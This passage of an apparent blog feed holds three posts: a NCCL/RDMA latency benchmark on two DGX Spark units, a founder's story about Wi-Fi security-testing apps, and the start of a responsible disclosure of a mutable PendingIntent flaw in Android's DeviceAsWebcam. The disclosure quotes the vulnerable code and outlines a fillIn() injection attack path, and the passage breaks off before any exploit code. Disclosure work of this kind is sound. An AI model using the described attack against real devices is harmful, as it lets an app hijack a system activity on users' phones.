ConnectX-7 stacking cable, you&amp;rsquo;ll find the same thing everywhere: &lt;strong&gt;bandwidth&lt;/strong&gt;. NCCL bus bandwidth of ~24 GB/s. RDMA &lt;code&gt;ib_write_bw&lt;/code&gt; of ~190 Gbps aggregate. iperf throughput. Forum threads about getting from a throttled 13 Gbps back up to line rate.&lt;/p&gt;
&lt;p&gt;What you will &lt;em&gt;not&lt;/em&gt; find — anywhere, as of this writing — is the number that actually matters for a latency-bound distributed workload: &lt;strong&gt;how long does a small-message collective take?&lt;/strong&gt; Not a 1 GB all-gather that&amp;rsquo;s bottlenecked on bandwidth, but a few-kilobyte all-reduce whose cost is pure round-trip latency, the kind that lands on the critical path of tightly-coupled parallel execution and gets paid once per layer, per step, with no overlap.&lt;/p&gt;
&lt;p&gt;Bandwidth tells you whether you can move a model&amp;rsquo;s worth of data. Small-message latency tells you whether a &lt;em&gt;tightly-coupled&lt;/em&gt; parallel strategy is even worth attempting between two boxes. The two are unrelated, and only one of them is published. So I measured the other one.&lt;/p&gt;
&lt;h2 id="the-setup"&gt;The setup&lt;/h2&gt;
&lt;p&gt;Two NVIDIA GB10 (DGX Spark) units, each with an onboard ConnectX-7, connected directly by the bundled QSFP stacking cable — no switch. The link runs RoCE (RDMA over Converged Ethernet), so the &amp;ldquo;InfiniBand&amp;rdquo; verbs and NCCL &lt;code&gt;NET/IB&lt;/code&gt; transport ride on top of an Ethernet link layer.&lt;/p&gt;
&lt;p&gt;One architectural detail worth knowing up front, because it explains every per-rail number below: each QSFP port on the GB10 is &lt;strong&gt;two 100G MACs behind two PCIe Gen5 x4 links&lt;/strong&gt;. The driver confirms it:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;mlx5_core ...: 126.028 Gb/s available PCIe bandwidth (32.0 GT/s PCIe x4 link)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So a single stream tops out around ~100 Gbps; you only approach 200 Gbps by loading both rails. For &lt;em&gt;latency&lt;/em&gt; this is irrelevant — a small message uses one rail and never touches the bandwidth ceiling — but it&amp;rsquo;s why the bandwidth baseline below reads ~109 Gbps rather than ~200.&lt;/p&gt;
&lt;p&gt;The firmware on these units is &lt;code&gt;28.45.4028&lt;/code&gt;. That&amp;rsquo;s notable: it&amp;rsquo;s the same version several people report shipping in a throttled state (~13 Gbps instead of ~100). Mine were not throttled. More on that trap later.&lt;/p&gt;
&lt;h2 id="baseline-1-bandwidth-so-we-know-the-link-is-healthy"&gt;Baseline 1: bandwidth (so we know the link is healthy)&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# server&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ib_write_bw -d rocep1s0f1 -i &lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; -F --report_gbits
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# client&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ib_write_bw -d rocep1s0f0 -i &lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; -F --report_gbits 10.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;pre tabindex="0"&gt;&lt;code&gt; #bytes #iterations BW peak[Gb/sec] BW average[Gb/sec] MsgRate[Mpps]
65536 5000 109.23 109.21 0.208300
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;~109 Gbps on one rail.&lt;/strong&gt; Healthy — right at the per-rail PCIe limit, no throttle. This is the part everyone already publishes, and it&amp;rsquo;s only here to establish that the link is in its good state before we measure latency on it.&lt;/p&gt;
&lt;h2 id="baseline-2-the-rdma-latency-floor"&gt;Baseline 2: the RDMA latency floor&lt;/h2&gt;
&lt;p&gt;Before NCCL, the raw verbs floor — the lowest latency the fabric can physically deliver, with no collective library on top. This one is &lt;em&gt;also&lt;/em&gt; rarely shown (people quote &amp;ldquo;~1.5 µs&amp;rdquo; in prose, but I couldn&amp;rsquo;t find an actual &lt;code&gt;ib_write_lat&lt;/code&gt; table for two Sparks):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# server&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ib_write_lat -d rocep1s0f1 -i &lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; -F
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# client&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ib_write_lat -d rocep1s0f0 -i &lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; -F 10.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;pre tabindex="0"&gt;&lt;code&gt; #bytes #iter t_min[usec] t_max[usec] t_typical[usec] t_avg[usec]
2 1000 1.95 2.62 2.01 2.01
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;~2.0 µs&lt;/strong&gt; for a 2-byte RDMA write. That&amp;rsquo;s the hardware floor. Everything above it — the gap between 2 µs and what NCCL actually delivers — is software: collective library overhead, kernel launch, the proxy thread, and the GPU↔NIC handoff.&lt;/p&gt;
&lt;h2 id="the-headline-small-message-nccl-all-reduce"&gt;The headline: small-message NCCL all-reduce&lt;/h2&gt;
&lt;p&gt;This is the figure that wasn&amp;rsquo;t out there. Two nodes, one GPU each, &lt;code&gt;all_reduce_perf&lt;/code&gt; from &lt;a href="https://github.com/NVIDIA/nccl-tests"&gt;nccl-tests&lt;/a&gt; over the RoCE link, forced onto the native IB transport:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mpirun -np &lt;span style="color:#a5d6ff"&gt;2&lt;/span&gt; -H 10.0.0.1,10.0.0.2 &lt;span style="color:#79c0ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --mca oob_tcp_if_include 10.0.0.0/30 &lt;span style="color:#79c0ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --mca btl_tcp_if_include 10.0.0.0/30 &lt;span style="color:#79c0ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -x &lt;span style="color:#79c0ff"&gt;NCCL_NET_PLUGIN&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;none -x &lt;span style="color:#79c0ff"&gt;NCCL_IB_MERGE_NICS&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; &lt;span style="color:#79c0ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -x &lt;span style="color:#79c0ff"&gt;NCCL_IB_HCA&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;rocep1s0f1,rocep1s0f0 &lt;span style="color:#79c0ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -x &lt;span style="color:#79c0ff"&gt;NCCL_SOCKET_IFNAME&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;enp1s0f1np1,enp1s0f0np0 &lt;span style="color:#79c0ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ./nccl-tests/build/all_reduce_perf -b 16K -e 32K -f &lt;span style="color:#a5d6ff"&gt;2&lt;/span&gt; -g &lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;NCCL confirms it picked the right transport — &lt;code&gt;NET/IB ... rocep1s0f1:1/RoCE&lt;/code&gt;, not a socket fallback — and the result:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# size count type redop time algbw busbw #wrong
# (B) (us) (GB/s) (GB/s)
16384 4096 float sum 40.79 0.40 0.40 0
32768 8192 float sum 43.42 0.75 0.75 0
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;~40 µs for a 16 KB all-reduce, ~43 µs at 32 KB&lt;/strong&gt;, between two DGX Sparks over RoCE. Correct results (&lt;code&gt;#wrong 0&lt;/code&gt;), and genuinely on the IB path. The &lt;code&gt;busbw&lt;/code&gt; column (~0.5 GB/s) looks alarming until you remember these are tiny messages: this regime is &lt;em&gt;entirely&lt;/em&gt; latency-bound, so bus bandwidth is meaningless here. The number that matters is the &lt;code&gt;time&lt;/code&gt; column.&lt;/p&gt;
&lt;p&gt;So the chain, end to end:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th style="text-align: right"&gt;Latency&lt;/th&gt;
&lt;th&gt;What it is&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;RDMA write (&lt;code&gt;ib_write_lat&lt;/code&gt;)&lt;/td&gt;
&lt;td style="text-align: right"&gt;~2 µs&lt;/td&gt;
&lt;td&gt;hardware/fabric floor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NCCL all-reduce, 16 KB&lt;/td&gt;
&lt;td style="text-align: right"&gt;~40 µs&lt;/td&gt;
&lt;td&gt;what a real collective costs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NCCL all-reduce, 32 KB&lt;/td&gt;
&lt;td style="text-align: right"&gt;~43 µs&lt;/td&gt;
&lt;td&gt;still latency-bound&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="why-40-µs-and-not-2-µs"&gt;Why 40 µs and not 2 µs?&lt;/h2&gt;
&lt;p&gt;A 20× gap between the verbs floor and the NCCL collective is larger than I expected, and it&amp;rsquo;s worth being honest about where it comes from. Two ranks, one all-reduce, but NCCL still has to: launch the collective kernel, hand off through its proxy thread, stage the buffer between GPU and NIC, do the actual RoCE round-trip, and do the reduction. Between two &lt;em&gt;hosts&lt;/em&gt; over RoCE — as opposed to two GPUs on one NVLink fabric, where you&amp;rsquo;d see single-digit microseconds — tens of microseconds for a small-message all-reduce is, on reflection, normal.&lt;/p&gt;
&lt;p&gt;One contributor stands out in the logs:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;... Connected all rings, use ring PXN 0 GDR 0
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;GDR 0&lt;/code&gt; — GPUDirect RDMA is off.&lt;/strong&gt; The NIC isn&amp;rsquo;t DMA-ing straight into GPU memory; the data is staged through host memory on the way to the wire. On a unified-memory part like GB10 the GDR story is nuanced anyway, but it&amp;rsquo;s plausibly a chunk of that 40 µs, and the obvious lever to pull if you wanted to chase it lower. I&amp;rsquo;ll leave that for a follow-up.&lt;/p&gt;
&lt;h2 id="why-this-number-is-the-one-that-matters"&gt;Why this number is the one that matters&lt;/h2&gt;
&lt;p&gt;Bandwidth decides whether you can &lt;em&gt;fit and feed&lt;/em&gt; a workload across two boxes. Small-message latency decides whether a &lt;em&gt;tightly-coupled&lt;/em&gt; one will fly or die. If your parallel strategy puts a collective on the critical path &lt;code&gt;N&lt;/code&gt; times per step — once per layer, say — then you&amp;rsquo;re paying &lt;code&gt;N × 40 µs&lt;/code&gt; of pure, un-overlappable synchronization, every step. Whether that&amp;rsquo;s negligible or fatal depends entirely on how much compute sits between the collectives, and that&amp;rsquo;s a budgeting decision you can only make if you know the 40 µs.&lt;/p&gt;
&lt;p&gt;The reason it&amp;rsquo;s worth writing down: with bandwidth at ~190 Gbps aggregate, the cable is wildly over-provisioned for the &lt;em&gt;volume&lt;/em&gt; a small collective moves (a 16 KB all-reduce is ~microseconds of wire time at line rate). The binding constraint between two Sparks isn&amp;rsquo;t bandwidth at all — it&amp;rsquo;s this ~40 µs latency floor and how many times you have to pay it. That inverts the usual mental model, and it&amp;rsquo;s exactly the figure the bandwidth-only benchmarks leave out.&lt;/p&gt;
&lt;h2 id="the-traps-that-silently-corrupt-the-result"&gt;The traps that silently corrupt the result&lt;/h2&gt;
&lt;p&gt;Half the value of doing this yourself is discovering how many ways the measurement quietly lies to you. In rough order of how much time each one can cost:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. The firmware throttle.&lt;/strong&gt; Plenty of units ship pinned at ~13–16 Gbps despite negotiating a 200G link. The fix is a ConnectX-7 firmware update &lt;em&gt;plus a full NIC power-drain&lt;/em&gt; — not just a reboot. Always run &lt;code&gt;ib_write_bw&lt;/code&gt; first; if it&amp;rsquo;s not ~100 Gbps/rail, every latency number you take afterward is measured on a crippled link. (Mine, on &lt;code&gt;28.45.4028&lt;/code&gt;, were fine — so the version alone isn&amp;rsquo;t a reliable tell. Measure.)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. NCCL silently falling back to TCP.&lt;/strong&gt; The default NCCL stack will happily run your &amp;ldquo;RoCE&amp;rdquo; benchmark over plain sockets and report a busbw of ~1–3 GB/s — and you&amp;rsquo;ll think &lt;em&gt;that&amp;rsquo;s&lt;/em&gt; the RDMA number. Force the native path with &lt;code&gt;NCCL_NET_PLUGIN=none&lt;/code&gt; and &lt;code&gt;NCCL_IB_MERGE_NICS=1&lt;/code&gt;, and &lt;strong&gt;read the debug log&lt;/strong&gt; to confirm it says &lt;code&gt;NET/IB&lt;/code&gt;, not &lt;code&gt;NET/Socket&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. OpenMPI picking the wrong network.&lt;/strong&gt; Both boxes have a &lt;code&gt;docker0&lt;/code&gt; bridge on the same &lt;code&gt;172.17.x&lt;/code&gt; subnet, plus Wi-Fi, plus the rails. OpenMPI&amp;rsquo;s out-of-band layer sees the overlapping &lt;code&gt;docker0&lt;/code&gt; subnet on both hosts, concludes they&amp;rsquo;re directly reachable, and faceplants with &lt;code&gt;cannot find a corresponding process entry for that peer&lt;/code&gt;. Pin it to the link:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;--mca oob_tcp_if_include 10.0.0.0/30 --mca btl_tcp_if_include 10.0.0.0/30
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;4. The two-rail naming asymmetry.&lt;/strong&gt; The single cable lights up two rails, and the &lt;em&gt;port numbers differ on each end&lt;/em&gt; — one box exposes &lt;code&gt;...f1&lt;/code&gt; ports, the other &lt;code&gt;...f0&lt;/code&gt;. So &lt;code&gt;NCCL_IB_HCA&lt;/code&gt; and &lt;code&gt;NCCL_SOCKET_IFNAME&lt;/code&gt; have to list both names and let each node match its own. Easy to stare at for a while.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. The PCIe power warning.&lt;/strong&gt; The driver logs &lt;code&gt;Detected insufficient power on the PCIe slot (27W)&lt;/code&gt;. It didn&amp;rsquo;t visibly hurt my numbers, but it&amp;rsquo;s the kind of thing that would explain an otherwise-inexplicable underperformance, so it&amp;rsquo;s worth noting it&amp;rsquo;s there.&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s also the usual yak-shaving — &lt;code&gt;nccl.h&lt;/code&gt; and &lt;code&gt;mpi.h&lt;/code&gt; not on the include path, nccl-tests needing &lt;code&gt;MPI_HOME&lt;/code&gt; pointed at the right prefix — but those are mechanical. The five above are the ones that change the &lt;em&gt;number&lt;/em&gt; without changing anything you&amp;rsquo;d notice.&lt;/p&gt;
&lt;h2 id="caveats"&gt;Caveats&lt;/h2&gt;
&lt;p&gt;This is one configuration, honestly reported. Single rail (latency doesn&amp;rsquo;t need both), GDR off, a specific NCCL/firmware/driver stack, a 16–32 KB sweep. A different NCCL version, GDR enabled, or a larger message set would move it — and I&amp;rsquo;d genuinely like to see someone reproduce it and disagree. But as a starting point, here&amp;rsquo;s the claim I&amp;rsquo;m willing to put a number on:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Between two DGX Sparks over the ConnectX-7 RoCE link, a small-message all-reduce costs about 40 microseconds, on a ~2 µs RDMA floor, with ~190 Gbps of bandwidth you&amp;rsquo;ll almost never be limited by.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If you&amp;rsquo;re deciding whether a latency-coupled multi-node strategy is viable on a pair of Sparks, that 40 µs — times however many collectives sit on your critical path — is the calculation nobody handed you. Now you have it.&lt;/p&gt;</content><category term="nccl"/><category term="rdma"/><category term="roce"/><category term="infiniband"/><category term="dgx-spark"/><category term="gb10"/><category term="networking"/><category term="gpu"/><category term="distributed"/><category term="benchmarks"/></entry><entry><title>From a Student Side Project to a Google Success Story</title><link href="https://contact.alessandrosangiorgi.net/posts/featured-by-google-sangiorgi-srl/" rel="alternate" type="text/html"/><id>https://contact.alessandrosangiorgi.net/posts/featured-by-google-sangiorgi-srl/</id><published>2026-06-24T00:00:00Z</published><updated>2026-06-24T00:00:00Z</updated><summary>Google featured Sangiorgi SRL in a Publisher Success Story. Here's the longer version — how a university experiment became an app with 165M+ downloads, and what I've learned building free software that has to pay for itself.</summary><content type="html">&lt;p&gt;Google just published a &lt;a href="https://www.google.com/ads/publisher/stories/sangiorgi_srl/"&gt;Publisher Success Story about Sangiorgi SRL&lt;/a&gt; — the company I founded and still run from Sicily while working full-time at Red Hat. It&amp;rsquo;s a strange and wonderful thing to see your own origin story written up by the platform that made it possible. Here&amp;rsquo;s the longer version, in my own words.&lt;/p&gt;
&lt;h2 id="it-started-as-a-way-to-learn"&gt;It started as a way to learn&lt;/h2&gt;
&lt;p&gt;While I was studying computer engineering in Catania, I built &lt;a href="https://play.google.com/store/apps/details?id=com.tester.wpswpatester"&gt;WiFi WPS WPA Tester&lt;/a&gt; as a side project. I wanted to understand how WPS — the &amp;ldquo;press a button to connect&amp;rdquo; feature on home routers — actually worked, and how badly it could fail. The app let people check whether their own Wi-Fi network was exposed to the well-known WPS vulnerabilities of the time.&lt;/p&gt;
&lt;p&gt;I didn&amp;rsquo;t spend a cent on marketing. I didn&amp;rsquo;t have a cent to spend. The app grew because the problem was real: people would run it, discover their network was wide open, and tell their friends. One of the most common messages I got, in every language, was some version of &lt;em&gt;&amp;ldquo;I found out my neighbor was using my Wi-Fi!&amp;rdquo;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;That word-of-mouth carried it to over &lt;strong&gt;165 million downloads&lt;/strong&gt;, with the strongest adoption across Asia-Pacific, Europe, and the United States.&lt;/p&gt;
&lt;h2 id="free-but-it-still-has-to-eat"&gt;Free, but it still has to eat&lt;/h2&gt;
&lt;p&gt;Early on I made a decision I&amp;rsquo;ve never regretted: the app would stay free. People shouldn&amp;rsquo;t have to pay to check whether their own network is secure. But &amp;ldquo;free&amp;rdquo; and &amp;ldquo;sustainable&amp;rdquo; are not the same thing, and servers, time, and a growing app don&amp;rsquo;t fund themselves.&lt;/p&gt;
&lt;p&gt;A few months after launch I integrated &lt;a href="https://admob.google.com/"&gt;Google AdMob&lt;/a&gt;. My philosophy was simple and hasn&amp;rsquo;t changed:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I wanted people to use it for free, yet sustain my business too.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What surprised me was how much of the hard part AdMob just handled. Mediation meant I wasn&amp;rsquo;t leaving revenue on the table chasing one network. When GDPR landed, the consent-management tooling made compliance across Europe something I could actually get right as a small team, instead of a legal trap. That revenue is what let me bring on designers and, eventually, a computer-science PhD as the work got more serious.&lt;/p&gt;
&lt;h2 id="what-it-became"&gt;What it became&lt;/h2&gt;
&lt;p&gt;Sangiorgi SRL is no longer one app. It&amp;rsquo;s a small portfolio of free, ad-supported tools:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WiFi WPS WPA Tester&lt;/strong&gt; — the flagship, 165M+ downloads.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://play.google.com/store/apps/details?id=it.ruppu"&gt;Ruppu&lt;/a&gt;&lt;/strong&gt; — pin notes, links, and checklists straight to your notification shade. The name comes from the Sicilian word for &amp;ldquo;knot.&amp;rdquo;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WPA Calculator&lt;/strong&gt; — recover the default password on common routers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;COAT&lt;/strong&gt; — an EU-grant-backed app that uses AI to read privacy policies for you and hand back a plain-language summary and a privacy score.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Together the apps have passed 170M+ downloads across 190+ countries, which makes Sangiorgi SRL one of Italy&amp;rsquo;s top app publishers by downloads on Google Play.&lt;/p&gt;
&lt;h2 id="two-time-zones-one-alarm-clock"&gt;Two time zones, one alarm clock&lt;/h2&gt;
&lt;p&gt;I won&amp;rsquo;t pretend the logistics are glamorous. I run the company from the U.S. while it operates out of Militello in Val di Catania, and my day job is GPU performance engineering at Red Hat. Coordinating with the team often means a 5 AM alarm and a coffee before the rest of my day starts.&lt;/p&gt;
&lt;p&gt;These days AI is genuinely part of how we ship — I lean on tools like Gemini for code review and for prototyping features faster than a small team otherwise could. The leverage a few people can get now is wildly different from when I started.&lt;/p&gt;
&lt;h2 id="the-only-advice-i-actually-believe"&gt;The only advice I actually believe&lt;/h2&gt;
&lt;p&gt;People sometimes ask how to &amp;ldquo;do what I did,&amp;rdquo; and I think the honest answer is anticlimactic. I didn&amp;rsquo;t have a business plan. I had a problem I wanted to understand and an app I wanted to exist. So my advice is just this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Think about something useful. Then start. You&amp;rsquo;ll figure things out as you go.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thank you to &lt;a href="https://www.google.com/ads/publisher/stories/sangiorgi_srl/"&gt;Google&lt;/a&gt; for telling the story — and to the 165 million people who, somewhere along the way, decided to check their Wi-Fi.&lt;/p&gt;</content><category term="sangiorgi-srl"/><category term="android"/><category term="entrepreneurship"/><category term="admob"/><category term="story"/></entry><entry><title>FLAG_MUTABLE PendingIntent in DeviceAsWebcam Allows Foreground Activity Hijack via fillIn() Injection</title><link href="https://contact.alessandrosangiorgi.net/posts/deviceaswebcam-flag-mutable-pendingintent-activity-hijack/" rel="alternate" type="text/html"/><id>https://contact.alessandrosangiorgi.net/posts/deviceaswebcam-flag-mutable-pendingintent-activity-hijack/</id><published>2026-04-18T00:00:00Z</published><updated>2026-04-18T00:00:00Z</updated><summary>A mutable notification PendingIntent in DeviceAsWebcam enables fillIn() intent injection and forced foreground launch of a system-UID activity from a NotificationListenerService app.</summary><content type="html">&lt;p&gt;I reported a vulnerability in AOSP&amp;rsquo;s &lt;code&gt;DeviceAsWebcam&lt;/code&gt; service where a &lt;code&gt;FLAG_MUTABLE&lt;/code&gt; PendingIntent is used as the foreground notification&amp;rsquo;s &lt;code&gt;contentIntent&lt;/code&gt;. An attacker app with user-granted &lt;code&gt;NotificationListenerService&lt;/code&gt; access can extract the PendingIntent, inject arbitrary intent fields via &lt;code&gt;fillIn()&lt;/code&gt;, and force-launch the system-UID &lt;code&gt;DeviceAsWebcamPreview&lt;/code&gt; activity in the foreground — overlapping whatever the user was doing. The report was submitted on &lt;strong&gt;March 19, 2026&lt;/strong&gt;.&lt;/p&gt;
&lt;h2 id="the-vulnerable-code"&gt;The Vulnerable Code&lt;/h2&gt;
&lt;p&gt;The vulnerability is in &lt;a href="https://android.googlesource.com/platform/packages/services/DeviceAsWebcam/+/refs/heads/main/interface/src/com/android/deviceaswebcam/DeviceAsWebcamFgService.java#134"&gt;&lt;code&gt;DeviceAsWebcamFgService.java&lt;/code&gt; (line 134)&lt;/a&gt;. The preview activity intent is created with only the component set — no action, no data, no extras, no flags, no categories:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-kotlin" data-lang="kotlin"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;// DeviceAsWebcamFgServiceImpl.kt:39-41
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;override&lt;/span&gt; &lt;span style="color:#ff7b72"&gt;fun&lt;/span&gt; &lt;span style="color:#d2a8ff;font-weight:bold"&gt;getPreviewActivityIntent&lt;/span&gt;(context: Context): Intent {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;return&lt;/span&gt; Intent(context, DeviceAsWebcamPreview&lt;span style="color:#ff7b72;font-weight:bold"&gt;::&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;class&lt;/span&gt;.java)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That intent is then wrapped in a &lt;code&gt;FLAG_MUTABLE&lt;/code&gt; PendingIntent for the foreground-service notification:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;// DeviceAsWebcamFgService.java:131-134&lt;/span&gt;&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Intent&lt;span style="color:#6e7681"&gt; &lt;/span&gt;notificationIntent&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;getPreviewActivityIntent(mContext);&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PendingIntent&lt;span style="color:#6e7681"&gt; &lt;/span&gt;pendingIntent&lt;span style="color:#6e7681"&gt; &lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;PendingIntent.getActivity(&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6e7681"&gt; &lt;/span&gt;mContext,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;0,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;notificationIntent,&lt;span style="color:#6e7681"&gt; &lt;/span&gt;PendingIntent.FLAG_MUTABLE);&lt;span style="color:#6e7681"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;DeviceAsWebcam&lt;/code&gt; runs as &lt;code&gt;android.uid.system&lt;/code&gt; (UID 1000). The PendingIntent ends up as &lt;code&gt;contentIntent&lt;/code&gt; on a &lt;code&gt;VISIBILITY_PUBLIC&lt;/code&gt; foreground-service notification with no &lt;code&gt;FLAG_IMMUTABLE&lt;/code&gt; and no &lt;code&gt;FLAG_ONE_SHOT&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="why-this-is-exploitable-how-fillin-works"&gt;Why This Is Exploitable: How fillIn() Works&lt;/h2&gt;
